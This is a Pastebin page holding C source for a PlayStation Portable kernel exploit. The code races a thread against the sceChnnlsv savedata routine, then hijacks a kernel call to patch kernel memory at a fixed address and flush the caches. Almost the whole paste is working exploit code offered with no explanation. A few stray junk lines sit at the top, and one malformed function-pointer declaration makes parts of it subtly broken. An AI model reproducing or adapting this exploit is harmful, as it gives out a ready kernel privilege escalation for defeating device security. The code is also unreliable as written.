Advertisement
Guest User

Untitled

a guest
Nov 24th, 2014
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. nnhj
  2.  
  3. j
  4. k
  5. j
  6. nn
  7.  chnnlsv
  8.  
  9. int is_exploited;
  10. u32 address = 0x8800F71C;
  11.  
  12. int KernelFunction()
  13. {
  14.     is_exploited = 1;
  15.  
  16.     _sw(0x8C654384, address);
  17.  
  18.     void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
  19.     void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;
  20.  
  21.     _sceKernelDcacheWritebackInvalidateAll();
  22.     _sceKernelIcacheInvalidateAll();
  23.  
  24.     return 0;
  25. }
  26.  
  27. void do_exploit()
  28. {
  29.     is_exploited = 0;
  30.     u32 packet[256];
  31.  
  32.     //taken from HBL
  33.     p5_open_savedata(PSP_UTILITY_SAVEDATA_AUTOLOAD);
  34.  
  35.     //search for this function in volatile ram
  36.     int (* _sceSdGetLastIndex)(u32 a0, u32 a1, u32 a2) = (void *)FindImport("sceChnnlsv", 0xC4C494F8, 1);
  37.  
  38.     //search for this function in main ram
  39.     int (* _sceKernelLibcTime(u32 a0, u32 a1) = (void *)FindImport("UtilsForUser", 0x27CC57F0, 0);
  40.  
  41.     int store_thread()
  42.     {
  43.         while (is_exploited != 1) {
  44.             packet[9] = address - 18 - (u32)&packet;
  45.             sceKernelDelayThread(0);
  46.         }
  47.  
  48.         sceKernelExitThread(0);
  49.  
  50.         return 0;
  51.     }
  52.  
  53.     SceUID storethread = sceKernelCreateThread("store thread", store_thread, 8, 512, THREAD_ATTR_USER, NULL);
  54.     sceKernelStartThread(storethread, 0, NULL);
  55.  
  56.     while (is_exploited != 1) {
  57.         packet[9] = 16;
  58.         _sceSdGetLastIndex(packet, (u32)packet + 40, (u32)packet + 56);
  59.         sceKernelDelayThread(0);
  60.         _sceKernelLibcTime(0, (u32)&KernelFunction | (u32)0x80000000);
  61.         sceKernelDcacheWritebackAll();
  62.     }
  63.  
  64.     //taken from HBL
  65.     p5_close_savedata();
  66.  
  67.     sceKernelDeleteThread(storethread);
  68. }
  69.  
  70. void _start __attribute__ ((section(".text.start")));
  71. void _start()
  72. {
  73.     do_exploit();
  74.     sceKernelExitGame();
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement